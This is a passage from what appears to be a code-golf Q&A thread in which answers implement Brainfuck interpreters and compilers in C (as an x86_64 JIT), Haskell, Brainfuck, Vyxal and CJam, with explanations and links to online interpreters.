Explanation](https://www.typescriptlang.org/play?#code/FAehAIEkDsGMCcCmBbR0Au4CG5oFdkAjRecAM3gHtlwAGAWgCYBWZgGnAHd4sAHXxABNg6AJ4CocADwAVcIgAe6NIIDOuAsXgA+cAF5wAbQCMbRmwDMbACxt2ANjYB2NgA42ATjbHa308fNjK2NbY3ZjR2MXY3djL0ZfRlNGc0YrRlsWM0dGF0Z3Ri8LXwtTC3MLKwtbC3YLRwsXC3cLL2tfa1Nrc2sra1trdmtHaxdrd2svZl9mU2ZzZitmW1Y7R2YXZndmL3tfe1N7c3sre1t7B0d7F3t3ey8nXydTJ3MnKydbJ3YnRycXJzuJxeVy+VymVzmVxWVy2VzsVyOVwuVzuVxeDy+DymDzmDxWDy2DzsDyODwuDzuDxeHy+Hz+WiBWjBWihWjhWiRWjRWixWg0nx+fwBPzBEJ+cIRPzRGJ+GkJbxJRWBNKK0JZAKRXKK2KFbzFfX+cr64LVfXher66LNfU09reToOwK9B2hQYOyKjB2xSbeaZ+-zzP3BZZ+8LMSIbP2xHbePZx-xHOPBM5x8L2SLXOOxe7eR55-yvPPBT558K-PPRQF5mmg7zg+uBaH10Lw+uRZH12Lo7yY3v+XG94KE3vhUm96KU3vxWiJWjJRlmZlLzLspc5blLgr8syCpLJEVJdLipLsJI5KK7gpxMwKlLJFK39IZW9nxg5bUpAp6tKJUpmY00nSM00jPS00jyG00nie0MmSbozBdDJMndDIci9DICl9FhElmMwgxYdJQxYdhaAAXUMGQyOAUAIAAEUQBAUDQTAcHwIgSHIKgaAYEiOG4PgBGEMQJAY2BZHkJQVHUditF0AxDD4ukzEsGw7DYP43E8bw6X8QJglCdM83rXsl13W8AMQ-DsjMPICiKEoygqKoajqBomhaNoOi6Ho+gGIYRjGCYphmOYFiWFZ2AjOxNm2XZ9kOY5TnOS4NJuO4HieF43g+L4fj+AEgRBMEIShGE4QRJEUTRDEsRxPECSJEkyQpKkaVnHSGSZFk2Q5LkeT5AVdOFQIgj8UIwj8SJL2MWVZvlOklQCFVghfAJwnfRVonyRUaQNIIjX001QlqfVIkafVYlaB06UdEJnQMt1wmGB1onGB0aX9MJA0CRY-UM8NI2iLY-RpeMIkTQITjjUILjjTNoluOMaXzKJC0Cd481Cb480if481iYF6zpBsYibYJYXrcJEXraJUXrGk+ziAdAnxXtQmJXtInJXtYmpJc5wXVJlwSVcz05Jc8l5Jd4j3Wbd1SMakkySbz13PJZSSeI7yVFJUlVFJMiyFIPzyHaUniA00mSQDKgAzJTrSHILrSAproyRJHQyVIkP6RCzxejI8nejJ4n9FhkgIv6WGsCiqJosBwAAYUoaAADcSFY6BwAASwwLjqDoJhWHAdBKFLgALRBwFgSh4CQVReFTwQ84AcxriusB4WBlFIWBO+73uRHEauYHQGRKCTgeJMUZRoDUDQOJ0fQjAAIgAHQUWdV7YDet+MHe98ZQ-N+ZE+t+sc-2Sv+wr6cK-XCvjwr6wK-CCv2Ar8EK-ECvshz58AAg+u9N4BAARYABl8QEKDCAA2+0CogAMfgg5+CDX4IPfggz+CDv4IN-gg-+0CEjnySCQxgJCIFEKgXvFgJD4E0PvkQ5BNDUE0PQTQzBNDsE0NwTQ-BNDCF72KOfUoIjyHQMqCI6hm9agiPoTIxhQjmEyNYTI9hMjOEyO4TI3hMj+EyMEZvdo59OgmPEXvXoJjpEKEGCY+RNjFFGOUTY1RNj1E2M0TY7RNjdE2P0TYwxChpjn1mCE8xm9FghOsawEJ9iNghOcTsEJ7jmCeOYN45gvjmD+OYIEvY58DgFPCQoE4BTrEXAKfY64BTnH3AKe4+wnj7DePsL4+w-j7CBMeOfZ4PTinvB6dY74PT7H-B6c44EPT3FOE8U4bxThfFOH8U4QJoJz7gnWcU6E6zrHwnWfY5E6znHonWe41wnjXDeNcL41w-jXCBMxOfbETzin4iedY4kTz7Hkiec46kTz3EeE8R4bxHhfEeH8R4QJWBaDnywMAveWBilYEoYi6xWBmBwvsVgRxCgsDOKwK4rA7isCeKwN4rAvisD+KwIEwgsLoGEARZvQgxTCCopZdYwgmLGX2MILiwgzjCCuMIO4wgnjCDeMIL44g59CCBNgAyvesBmUKFgMU2AHK1XWNgDy5V9jYC4tgM42ArjYDuNgJ42A3jYC+NgP42AgTBBKs3oIVVghimCC1YIaxgg9WuvsYIXFghnGCFcYIdxghPGCG8YIXxgh-GCECYgF1ChECqsQMUxAWrEDWMQP6tN9jEC4sQM4xArjEDuMQJ4xi58hB1v8YgQJZBU1kFVWQYpZAtVkGsWQAtZB7FkFxWQZxZBXFkHcWQTxZBvFkF8WQfxZB-5x2orRZOqcM7wFYh3Lupdy5YGznnTAFBC68RLsPCQAB9KeXcJ5jxXgAbyPrCgAXL4I+B8X2mCPuQl95gj4QJfVYI+l8X22CPpil97Aj63xfY4I+98X0uCPo-F97gj7PxfV4I+r8v3vtPu-L937T6fy-f+0+38v3AdPr-L94HT7-y-dB0Br6pR71mqvL9yHQG-tlOxwDN52OgYVOxyDSp2OwcfOxxDqp2OoZfOxzDWR2O4c2uxwj2p2OkZ2uxyjep2O0YNOxxj-4aGvuNDQz9dsaG-rNDQwDp0aGgctDQyDF0aGwZtAwzj10aGoftCwzjjo2FBfIwoRghGXRcKC-R8LlH3R8KC-BzejBGNeiEa+96QjP2+iEb+-0QjAN4SEaBoMQjIN-SEbB0MQjEOrCUZx6KQjMNRiEbhkGQjCOxiEaR+MQjKMHAkbRpMQjGPQwsa+1MFjP1wwsb+jM0DLFwe4zY0DSMLGQdzBY2D+YLGIeeIt1DRYLGYcxhY3DpYLGEZxhY0jFYLGUfxhY2j1YLGMaJnvYJaH8NBM-Q2T7v7ITQMiWh6jQTQOU0+5Btsn3YM00+4hzsn3UP00+5hnsn3cN9k+4R7EwPSODk+5Rtmn3aMjk+4xzme98lYeSyUz9PNqe-qnNTwD-NqegdpNAipeHiMlNgz4ML1S8Ng9uJxnwsW6l4eYyU3DPg6eNPF5uanpGfDoc3q0pX2GNe0dmj9zp4v5Z726URsLvSiNg9eIb2LAyiMy8+IbunwyiMrd+Ib9XCgxlEe1571DAQfuTLI3zpwcupObxmeL2T4fVcKfD5R9a0ClmR6d4xgIK21lkY9xssjPvITi6M5vbZVG+ewnz2FvZVGweInz7Fw5VGZeonz3Tk5VH09y684XwjQRc+q4C4X+PwXC+64Qnve54uoub0eXR2Lzy6My9xOPunby6MrcJOPj3ny6M+9JOLgrk-EPfWgZSXfYX-lMbBx4OXNXJ9d-q5P1XTXJ-x9a5P3XHXJ+p+65vGF4u+vf8-RDNAkir-mFiir-mDlgJzlNt-pBhEDLlgALgtoigflmIin7utt-phhED7sSuLrtt-l3gdoiqrsdt-vHmdt-rrpdt-qnjdiyqxvdiygAU9iyrxq9iygJh9pyuLnWHvNyjwXzoQALkDnwQfs2HwX7pDiylgTDiynLvDiyl3kjiyqrqjiyvHhjiyrrtjiyqnnjsqqxoTpvCquLiTsYbxuTsYQJlTsYZzuOMqrAYzsYQLizsYQfuzsYfJh1MqkpvONAuapxgkGFpaoEcuMqtpqyP4XpmuMqrRgkHTo6qESts6qER7m6qET7h6oEYKHvF6tkXzj6tkWFn6tkWDoIJJuKLkTJpNLkfJmxq6kppeLkapnxq6hpoJq6tpiJq6npuJq6nEWHgoEmoEVHmmq+obNAumiMTLpmiMXTtmiMStrmiMR7vmiMT7ogJJgXmmjJqZpvKWoERZvsUptZvsapnZvsRpo5vsdpi5vsXpu5vsXER3mmoxtBNAi2oEX3goG2l8Xzh2l8WFl2l8WDj2l8bFn2l8TLgOl8XTkOl8StiOl8R7mOl8T7hOoEXvj8RpsVpvDOpiUCXppVniXEdfj8W8awAAL4XrVw3rwB3oYAzxSTzzqCqDoDwBtzyTgByCzzSTgAADWiAoglAZA4A16A8DJmAAA-GKXSZKZRGROAC+nQAANw0QiTVwAAyecgpgg2pbJsgXJlEHA2p0Aup+p6AhpipAAPkYGRGqRqeAAABKVqCBSAWkcAMQTp4AAA2mABg0AiAm6XJFpkkc8C8hgecC6pAAAghwFGZxJeoqTKTGUqeAF6VgL6egA6SPNyVgDnD6e6TnGyZ6U2pmX6SvIGcGSvKGbySyUYAmaQJevGdANGeAAAELJkdlpkZlZlqk0likABKeA0A7ZAAYlIMAOAOugmmGXyWyRydAK3GwFOeAAAFIEC8AADK6A5K-Jc59Zpp5pxZlpC5nJK505MAvAeAmAdZC8Z5S5F54AAA8jedebecyfeeyW3E+QALIoCalNofnhnqBHlCAWlSCyQkDaB-koAumUoHkLxQXwCwXICDk5ytwVzAV8lgV6knmQWaDQVPlbn8k5y8CIXqC0DgC2nGAry+CrkkVkU7l7kUXgC4UQXGBGlkQrlcmrkpyzl3nqAAAGAAJA+o2cnAPOACAAAFTkA5zwBsk7qkAyUgCUliUSX8WIAyD5k+nSVyUNyYCqWUlCWrnTkymMXkWCV0A0TTl2XSUQCWW5yUUcCKCMQ3nVzoBVw1yUAJpmV2Uym2l0msWrwADUq8-l9l05icMATEqA+c-5yA8FwgUVUVMpl6w5o5E5WlOlBZHAG5yA25u5sA-JHAV5N5HAr56A75HAiVgFZA6AZV0giVyVMF4AiV6FmF6A2gkVdlypwV1lq89AEVqV9licYkSA8VmALVrpvV9l6VmV45UgOVul+Vm5zFJVTVNVL5b5FV7VAFQFpZ4kM1lKbVHVGFWFPVo1aZA1n56gq8UgI1114AMpdVQFrFhg1Ez1dlicMg3lVcCFxZ2AmAXl1cxArcec0AP5lcQNQNbElA9AlAvAc1aVQ5I5S1K1eV6561xVpVkg21VV21b1DVtVcFrppNaFF13VKNY1EAv5lAGc4APp71qc1c9qPpPpNNfVaNWVy1vl2lq12NhVG1eN5VjVO11Ve1uVhZxN3VHAyVUgstbVhgJ1ggFNnVWFZEV1o1-VUlg12gT111v13lCa3pfp6geclc1cyV2A88eZBZNcWAHN6gd5Vt4AqAyAdcoge6btHJXVucopgZ9qqgqgXcogXNC16N2V-N0ta1wtuNW1e1hNe1KtZNlKFN9V6A3FzprpitKAGt4ttAbV0tedlNXVHAn12g2tqVutu6g1hghto1r1adggrFtAXN0VjlpF5FZcbtyAWA6A-cbcNcPplAqgYN3cgp6AHdL1PNGNMdgtBVRVe5id4tyd4tstFNyV6tVNHAnFM9icAAommrAB5b7YgEpSKW7bXAmhwJSi3EuefZfaKaDT5bOb3a-QAFabngBsl7kz3KkZVR180Jqx1GCY0+lx3L0lXZ1i2VW7Ub0HUk37VJXk0oMF3V1RW12kCDVkSN2pXN2oMIXWXt3fWd3gAAAKSN2A4A39hV4ATcR64AIpopV9X9P9f9JVttrdntjNqcM9kdvNEDHAJdS9ItbVcDEtRNSDiDRDat6DVNmDRtEAS9Ptr9Zc5FdD5FbD3lWjv9uNADc9E5CtYjuNbVpjK9+NSdCDGdh1KD29CjXVSj3Nt1IF4Ah8EdVj2F9Zol4lrZnEYtdJ6lfjbZYt0tJlB9EAAA6hycoNffzeQHXG7WQApUpf3Lujo9XHnO+QI0YyAwLVjRY5tV42A+vbY8g3KZQGPFIIEwPGdfnYo5E+AAAHLlye1IC5zQDbXcA5xxOkNkOAOLXR2gOL042WOSNlMoOZ0cC+COOXUo3YMhUAB0+DUVicMZ-AKg19A85KvcwN9jrpaj3llACD+ji5rcnjQDQjC9hTYzxTkjvj69wTY8E8dJpdrVJl5TsjDj51TjKNicrTiNvAKp4Agg5c0AlAXlbcCzeTwjQt0DotXT1jktsj0zBz6dcz1NvVicTlQNxgILqg3dyluzJA6gI56ADtr9-dg9Fcw9hAk9iAmAQNZAJz88vVypQVetd17jeDXNicVD5FJ6NAr9hLZF+je5ILKgw9IrRLOcopvTAA5C7YVWIJc0M-k2A0U4iwTTY1M3Y6rTveXTnZSlIJZSLTM8Xbpaa93ea3aVXTC643yavA3XyxABQ3gKoBXEc9XKK+RZw-yWq8A3C1q6vfAyi181vWg781hXvRXaYOAGa7jVrf8xAJAK3BCx01C+oOk4PCQDC1c-PSM7c-HeM0i2vbq5vei-I9G+LZZRwIm3uT1f5YnFpc5fICq6IBwEgOgHgPANnCk9AE7eK8oP5cqYYFpVA7axMxWzI5GxizW6uo6eq0nKxQ+cuVAKu9+Y-QYKvKvFyQW9lRXbAxwLu0ezM0e9oIYBYPaeqbmQABorzqthWhUvuvuhWGDaBvsfsvufs-uvuftSCAdSD0Ba2hWfvaD0BV3vtSBkTAda3aBLMQf0D0BLNvuvtLOocvuIcIfAdLNSCYehVLPIfEcockckfYeEd7trrTkAB6UpwAQAA) [Answer] # [C (gcc)](https://gcc.gnu.org/) Linux x86\_64, ~~884 621 525 487 439 383 358~~ 347 bytes ``` *z,*mmap();d[7500];h;(*p)();*j(char*a){char*t=a,*n,c,q=0;for(;read(h,&c,!q);t=c==47?n=j(t+9),z=mempcpy(t,L"\xf003e80Ƅ",5),*z=n-t-9,n:c==49?q=*t++=233,z=t,*z=a-13-t,z+1:stpcpy(t,c-18?c-16?~c?c-1?c-2?c?t:"1\xc0P_\xF\5":"RXR_\xF\5":L"໾":L"۾":L"컿":L"웿"))c-=44;return t;}main(P,g)int**g;{*j(p=mmap(0,1<<20,6,34,h=open(g[1],0),0))=195;p(0,d,1);} ``` [Try it online!](https://tio.run/##tVjdbuJGFL6fpzjlosLYTu2Q7CZhPHQ3kBaJQERCVMlBFRhncRQbB0yVZLu96lv0UVbq3vUletMH6Duk82sMMRtokhHYg@c7PzPnO2fGDPrT0YPXTzCut4@BDC6vgmTLeyjdG6Uw7MdFrTJ03@5aVq8yqhRLsUYflK6K3qg/KfW1j/yeOH2jFBmeceNYlcvxpFiZ@P1hcWR86xnf3GiVxPEcZ@dtNXKuiom@rxn3TuiHsRffFROjWbi4vbSssr9n/fV7wdjVjNK9E5mJuW9EB0xuv3rjlBJdd7bLZSqZsPG@aZfNxLjX7YNpIhV5pr1XpZc31d88dqff7apXTQ4K9sWtZ538fHF7dLFbOCh0fuqofrPwz@c/2e1vfv338xd@@@NLQdM809nZoTNJZpMIksqnsB9ExRPjgxZESan0ofKRLkPs8DWyDBvjbct4Y5R3jJEzjv2o@MG1e4al0Y/m2Pu7FYYaGrZW@fRAFxp5HsilBnMsumgehXgShP50a3CJvHEYzxIf@BOIZuHAn0xRMobZ1IfkLqaXkQ9h/1aOsZ8RxLPpCN5dJ2CDhZznt5U6oN09O@mewelZp9H6Af6Xjk38ILpsLlY9YvbSvmpbrtmbY7PoPPxa6LVVPgnczLksXCIzoA11bSbwopY3wC9AU9yqRV7h2uvSvtFirG91j9/XO/D6tNdhZfPGUeLYyEVgfh1jISAGkr6edt/bllQOZtoQAnellmhM6wnVAlgnX/VFLgi1Ud5TNrJG1vlBPQGiNB13m8pbpsolOtExNnuEuJg6w0LP7Q9nMZcjc54xOP0CxpjdVokySTYsn7E@vdMb61JZyiisvHE6x@3zup26g4VLmInRD0aUmXPt@FWZCCed9mH99HQdKr6IH1wJLF4Q3XqGbP@ZQeIHQ3aZ5eIQWyVGVaIrIta6J2oh82KDGBZzOhDZKEQ0GqNgyvdFyjnEw0z1soBw9ij15TROLpMW8swIN8MNiUDhrNS2kiKuEuIyrpTgAjTWkm9IydYa541a/fRJslITEDjD4BfuMFY0FbNcTvfBeHzN8yrlcb5aqlQOEkZYOppR0jiCAM5@rLeEOkuaEwJ52cwEJIzbxbKba1rMRQCI1Ap5JSljvLcwo9zyVasfQiBhAsVzkl50bt1lXrCpzkV4zFRFWGiHzQ4IL3lw6q0aZMLFQ@gKjvHVEzzhksElEwyG/lScrxTvLCTDx1nAnBGSiPuoGCu4aYpKgmU1wdLcKm4JlQilzHpu5q7Wog5x69SQl/JFFEyCFPEfVQNYUQ/m4ON2TewKvFqnFV/UeZVMOsY5/AM7TaLlRBHjiR85KkXoAYMsZBKwYaCgMFaI7GGGgyljmA6LX21LUvgxx4e@x7VJ5rLiBbkgWl6RypnU1sL2PAudfSTcMclyAkgVMLhj5jKr6HQ67bP5osN8L6O@rPyxwFY@mlVJsyrdrzeLztPxWTNCT8WIz2Q5SjRskQeqkOWFa82APQ5ZznaD@YkpvmMGgb7RSfiK4uVd@/3JcuwarUM7m1XsaKYKJF5MLYcdWjoLYBnODOZdrbazl4XkHcJNkhWhheMw6wA7fJOFLD2vN7cXyJDd3fluLT0mj1/sxFH@tQsgq4FsNzhqd@BZWtY/RiGAdHdgh0bZeLkn8rTJ5s5YiNK3mebRXMPS@9L3iP2t4HujMT2kW79ufcf/U4D0n4SH/wA "Bash – Try It Online") This is a JIT that compiles BF code into x86\_64 machine language at runtime. This performs a straight translation so commonly occurring sequences such as `>>>`, `<<<`, `+++` and `---` aren't coalesced into faster instructions. Less golfed version: ``` // size of data area *z,c,*mmap();d[7500];h;(*p)(); // recursive function translates BF commands to x86_64 instructions *j(char*a){ char*t=a,*n,q=0; for(;read(h,&c,!q);) c-=44, t=c==47? // [ // cmpb $0x0,(%rsi) // je n-t-9 n=j(t+9), z=mempcpy(t,L"\xf003e80Ƅ",5), *z=n-t-9, n : c==49? // ] // jmp a-13-t q=*t++=233, z=t, *z=a-13-t, z+1 : stpcpy(t,c-18? // > c-16? // < ~c? // + c-1? // - c-2? // . c? // , "" : // xor %eax,%eax // push %rax // pop %rdi // syscall "1\xc0P_\xF\5" : // push %rdx // pop %rax // push %rdx // pop %rdi // syscall "RXR_\xF\5" : // decb (%rsi) L"໾" : // incb (%rsi) L"۾" : // dec %esi L"컿" : // inc %esi L"웿"); return t; } main(P,g)int**g;{ // allocate text (executable) memory and mark as executable p=mmap(0,1<<20,6,34,h=open(g[1],0),0); // run JIT, set %rdx=1 and call code like a function p(*j(p)=195,d,1); } ``` [Answer] ## Haskell, 457 413 characters ``` import IO import System z=return '>'#(c,(l,d:r))=z(d,(c:l,r)) '<'#(d,(c:l,r))=z(c,(l,d:r)) '+'#(c,m)=z(succ c,m) '-'#(c,m)=z(pred c,m) '.'#t@(c,_)=putChar c>>hFlush stdout>>z t ','#(_,m)=getChar>>=(\c->z(c,m)) _#t=z t _%t@('\0',_)=z t i%t=i t>>=(i%) b('[':r)=k$b r b(']':r)=(z,r) b(c:r)=f(c#)$b r b[]=(z,[]) f j(i,r)=(\t->j t>>=i,r) k(i,r)=f(i%)$b r main=getArgs>>=readFile.head>>=($('\0',("",repeat '\0'))).fst.b ``` This code "compiles" the BF program into an `IO` action of the form `State -> IO State` the state is a zipper on an infinite string. Sad that I had to expend 29 characters to turn buffering off. Without those, it works, but you don't see the prompts before you have to type input. The compiler itself (`b`, `f`, and `k`) is just 99 characters, the runtime (`#` and `%`) is 216. The driver w/initial state another 32. ``` >ghc -O3 --make BF.hs [1 of 1] Compiling Main ( BF.hs, BF.o ) Linking BF ... >./BF HELLO.BF Hello World! >./BF PRIME.BF Primes up to: 100 2 3 5 7 11 13 17 19 23 29 31 37 41 43 47 53 59 61 67 71 73 79 83 89 97 ``` *update 2011-02-15:* Incorporated J B's suggestions, did a little renaming, and tightened up `main` [Answer] # Brainfuck, 948 bytes Well, that took a while. I golfed [a Brainfuck self-interpreter by ... not me.](https://github.com/ludamad/bf-self-interpreter) ``` ->->>>-[,+>+<[->-]>[->]<+<-------------------------------------[+++++++++++++++++++++++++++++++++++++>-]>[->]<<[>++++++++[-<----->]<---[-[-[-[--------------[--[>+++++++[-<---->]<-[--[[+]->]<+[->++>]->]<+[->+>]->]<+[->+++++>]->]<+[->++++++>]->]<+[->+++++++>]->]<+[->++++>]->]<+[->++++++++>]->]<+[->+++>]->]+<+[->->]>[-<->]<]>>->>-<<<<<+++[<]>[-[-[-[-[-[-[-[-<<++++++++>>>[>]>>>>+[->>+]->,<<<+[-<<+]-<<<[<]<]>[<<<+++++++>>>[>]>>>>+[->>+]->.<<<+[-<<+]-<<<[<]]<]>[<<<++++++>>>[>]>>>>+[->>+]<<-<<+[-<<+]-<<<[<]]<]>[<<<+++++>>>[>]>>>>+[->>+]+>>-<<[-<<+]-<<<[<]]<]>[<<<++++>>>[>]>>>>+[->>+]->-<<<+[-<<+]-<<<[<]]<]>[<<<+++>>>[>]>>>>+[->>+]->+<<<+[-<<+]-<<<[<]]<]>[<++[>]>>>>+[->>+]->[<<<+[-<<+]-<<<[<]-[<<-[>->-[<+]]<+[->>[<]]<-[>-->+[<++]]<++[-->>[<]]<++>>[[-<+>]<<[->>+<<]]<[>]>]]<[<<+[-<<+]-<<<[<]>--<<++>]>]<]>[<<<+>>>[>]>>>>+[->>+]->[<<<+[-<<+]-<<<[<]]<[<<+[-<<+]-<<<[<]+[>-[<-<]<<[>>]>>-[<+<]<<[>>]>>++<[>[-<<+>>]<[->+<]]<[>]>]]>[[-<<+>>]<[->+<]>]]>] ``` [Answer] # [Vyxal](https://github.com/Vyxal/Vyxal), ~~150~~ ~~149~~ 148 bytes ``` k2T0ẋ→_0→0?£{D¥L<|¥i:‛+-$c[:‛ +ḟ←_:_←›Ǔṫ∇∇+J←›ǔ→_|:‛<>$c[:‛ >ḟ←+→|:\.=[←_← iC₴|:\,=[←_:_←?CȦ→_|:\[=[←_← i¬[Ȯ¥$ȯ\]ḟ∇∇+$]|:\]=[Ȯ¥$Ẏf\[=TG‹∇$_]]]]]]]_› ``` [Try it Online!](https://vyxal.pythonanywhere.com/#WyIiLCIiLCJrMlQw4bqL4oaSXzDihpIwP8Kje0TCpUw8fMKlaTrigJsrLSRjWzrigJsgK+G4n+KGkF86X+KGkOKAuseT4bmr4oiH4oiHK0rihpDigLrHlOKGkl98OuKAmzw+JGNbOuKAmyA+4bif4oaQK+KGknw6XFwuPVvihpBf4oaQIGlD4oK0fDpcXCw9W+KGkF86X+KGkD9DyKbihpJffDpcXFs9W+KGkF/ihpAgacKsW8iuwqUkyK9cXF3huJ/iiIfiiIcrJF18OlxcXT1byK7CpSThuo5mXFxbPVRH4oC54oiHJF9dXV1dXV1dX+KAuiIsIiIsIisrKysrKysrKytbPisrKysrKys+KysrKysrKysrKz4rKys+Kzw8PDwtXT4rKy4+Ky4rKysrKysrLi4rKysuPisrLjw8KysrKysrKysrKysrKysrLj4uKysrLi0tLS0tLS4tLS0tLS0tLS4+Ky4+LiJd) "But there's already a Vyxal answer that's ~~100~~ ~~99~~ 98 bytes shorter bro what is this cringe" I hear you say. Well this version doesn't use `eval`, and instead runs it manually. Note that it can be slow because it's doing things like rotating a 30000 item list quite frequently, so [here's a version with only 100 cells for testing](https://vyxal.pythonanywhere.com/#WyIiLCIiLCIxMDAgMOG6i+KGkl8w4oaSMD/Co3tEwqVMPHzCpWk64oCbKy0kY1s64oCbICvhuJ/ihpBfOl/ihpDigLrHk+G5q+KIh+KIhytK4oaQ4oC6x5TihpJffDrigJs8PiRjWzrigJsgPuG4n+KGkCvihpJ8OlxcLj1b4oaQX+KGkCBpQ+KCtHw6XFwsPVvihpBfOl/ihpA/Q8im4oaSX3w6XFxbPVvihpBf4oaQIGnCrFvIrsKlJMivXFxd4bif4oiH4oiHKyRdfDpcXF09W8iuwqUk4bqOZlxcWz1UR+KAueKIhyRfXV1dXV1dXV/igLoiLCIiLCIrKysrKysrKysrWz4rKysrKysrPisrKysrKysrKys+KysrPis8PDw8LV0+KysuPisuKysrKysrKy4uKysrLj4rKy48PCsrKysrKysrKysrKysrKy4+LisrKy4tLS0tLS0uLS0tLS0tLS0uPisuPi4iXQ==) Some assumptions this program makes: * Closed brackets * EOF handled manually * Program on first line, each input character on a new line ## Explained ### Quick Overview ``` k2T0ẋ→_ # Tape 0→ # Cell pointer 0 # Instruction pointer ?£ # Prog {D¥L<| # While the instruction pointer is less than program length :,←_,¥i # Get command :‛+-$c[:‛ +ḟ←_:_←›Ǔṫ∇∇+J←›ǔ→_| # Handle addition and subtraction in the same place :‛<>$c[:‛ >ḟ←+→| # Handle moving the pointer left and right :\.=[←_← iC,| # Output :\,=[←_:_←?CȦ→_| # Input :\[=[ # jump to next `]` if tape[cell] == 0 ←_← i¬[Ȯ¥$ȯ:,\]ḟ›∇+$]| :\]=[Ȯ¥$Ẏf\[=TG›∇$_] # Jump back to the previous `[` ]]]]]] _ # Remove the char from the stack › # Next command } ``` ### Detailed Explanation ``` k2T0ẋ→_ ``` This is the tape. It consists of 30000 0s in a list. It's stored in a global variable called `_`. ``` 0→ ``` This is the cell pointer. It tracks which cell is being pointed to. It's stored in the ghost variable. The ghost variable is another name for the variable with no name (as in, its name is literally `""` - the empty string.) ``` 0 ``` This is the instruction pointer. It tracks which character of the program is being executed. It's stored on the stack as the bottom of the stack. Throughout this answer, the stack is `[instruction pointer, current character, ...]` where `...` is whatever processing is happening in each command. ``` ?£ ``` This gets the program to execute and stores it in the register. ``` {D¥L<| ``` This is the main program execution loop. It calls its code while the instruction pointer is less than the length of the program. Before performing the comparison, the instruction pointer is triplicated (i.e. three copies of it are pushed to the stack). This is so that there is a copy for the comparison, for getting the current character in the program and for maintaining the value of the pointer. ``` ¥i ``` This gets the character at the index of the instruction pointer and puts it on the stack. The stack is now `[instruction pointer, command]`. We now move on to handling the commands #### Addition and Subtraction ``` :‛+-$c[:‛ +ḟ←_:_←›Ǔṫ∇∇+J←›ǔ→_ ``` The above snippet is the entirety of the section that handles the `+` and `-` commands. ``` :‛+-$c ``` This checks if the command is in the string `"+-"`, while leaving a copy of the command on the stack for further comparison if needed. ``` [:‛ +ḟ ``` If the command *is* one of `+` or `-`, then the command is duplicated yet again, and its index in the string `" +"` is returned. This returns `1` for `+` and `-1` for `-`, as `-1` is returned for characters not in the string. The `1` or `-1` acts as an offset for the current cell, and saves having to check for `+` and `-` individually. It also means `+` can be used for both commands instead of `›` for addition and `‹` for subtraction. ``` ←_:_←›Ǔ ``` This pushes the tape (stored in the global variable called `_`), the value of the cell pointer + 1 (stored in the ghost variable and then incremented) and then rotates the tape left that many times. The `:_` after `←_` is needed because there seems to be a bug with list mutability when rotating. (TODO: Fix) After the rotation, the cell that is to be incremented or decremented is at the tail of the tape. ``` ṫ∇∇+J ``` This separates the tail and the rest of the list - first it pushes `tape[:-1]` and then it pushes `tape[-1]`. It then rotates the top three items on the stack so that the order is `[tape[:-1], tape[-1], offset]`. The offset is then added to the tail, and the tail is then appended back to the rest of the tape. ``` ←›ǔ→_ ``` The tape is then rotated `cell pointer + 1` times to the right to "undo" the left rotation and then placed back into the global variable called `_`. #### Moving the Cell Pointer ``` |:‛<>$c[:‛ >ḟ←+→ ``` The above snippet is the entirety of the section that handles the `<` and `>` commands. ``` |:‛<>$c ``` Just like with the `+` and `-` commands, a check is done to see if the command is in the string `"<>"`. ``` [:‛ >ḟ ``` And also just like with the `+` and `-` commands, if the command *is* one of `<` or `>`, then the command is duplicated yet again, and its index in the string `" >"` is returned. This returns `1` for `>` and `-1` for `<`. The `1` or `-1` acts as an offset for the current cell location, and saves having to check for `<` and `>` individually. It also means `+` can be used for both commands instead of `›` for moving right and `‹` for moving left. ``` ←+→ ``` This adds the offset to the cell pointer and updates the value stored in the ghost variable. It also acts as a weird face. #### Output ``` |:\.=[←_← iC₴ ``` The above snippet is the entirety of the section that handles the `.` command. ``` |:\.= ``` This checks if the command is equal to the string `"."`. Unlike addition/subtraction and cell pointer movement, input and output cannot be handled in the same if-statement, as their functions are different at a fundamental level. ``` [←_← i ``` If the command is `.`, the tape is pushed, as well as the cell pointer's value. The item at the location of the cell pointer is then retrieved. The space after the second `←` is needed to avoid it being interpreted as `←i` ``` C₴ ``` This prints that item after converting it to its ASCII equivalent (think `chr` in python) #### Input ``` |:\,=[←_:_←?CȦ→_ ``` The above snippet is the entirety of the section that handles the `,` command. ``` |:\,= ``` This checks if the command is equal to the string `","`. ``` [←_:_←?C ``` If the command *is* `,`, the tape and current cell pointer are pushed to the stack, as well as the ordinal value (think `ord` in python) of the next input. ``` Ȧ→_ ``` This sets the `cell pointer`th item of `tape` to the input. Basically `tape[cell_pointer] = ord(input())`. #### Looping ``` |:\[=[←_← i0=[Ȯ¥$ȯ\]ḟ∇∇+$] ``` The above snippet is the entirety of the section that handles the `[` command. ``` |:\[= ``` The usual check for a certain character. `[` this time. ``` [←_← i ``` If the command is `[`, get the `cell pointer`th item of `tape`. ``` ¬[ ``` If the cell is not a truthy value (i.e. not `0`), then: ``` Ȯ¥$ȯ\]ḟ ``` Push `program[instruction_pointer:]` and find the first `]` in that string. The stack is now `[instruction pointer, command, position of "]"]`. ``` ∇∇+$ ``` Rotate the stack so that its order is `[command, position of "]", instruction pointer]` and add the position of the `]` to the instruction pointer. This has the effect of iterating through the program until the next `]` is found without having to have lengthy while loops. ``` |:\]=[Ȯ¥$Ẏf\[=TG‹∇$_ ``` The above snippet is the entirety of the section that handles the `]` command. ``` |:\]= ``` Check if the command is `]` ``` [Ȯ¥$Ẏf\[=TG ``` And if it is, get the greatest index of all `[`s in the string `program[0:instruction_pointer]`. This has the effect of backtracking to the matching `[` without having to have a lengthy while loop. ``` ‹∇$_ ``` Decrement that so that the instruction pointer will be re-incremented to the position of the matching `[` and rotate the stack so that the stack order is once again `[instruction pointer, command]` #### Final bits ``` ]]]]]]] # Close all the if statements _ # Remove the command from the stack › # Move the instruction pointer forward 1 } # Close the main while loop ``` [Answer] # CJam, 75 bytes ``` lq3e4Vc*@{"-<[],.+>"#"T1$T=(t T(:T; { _T=}g \0+(@T@t _T=o "_'(')er+S/=}%s~@ ``` Try it online: [string reverser](http://cjam.tryitonline.net/#code=bHEzZTRWY2EqQHsiLTxbXSwuKz4iIyJUMSRUPSh0IFQoOlQ7IHsgX1Q9fWcgXDArKEBUQHQgX1Q9byAiXycoJyllcitTLz19JXN-QA&input=LFs-LF08Wy48XQpIaSwgQ0phbSE), [Hello 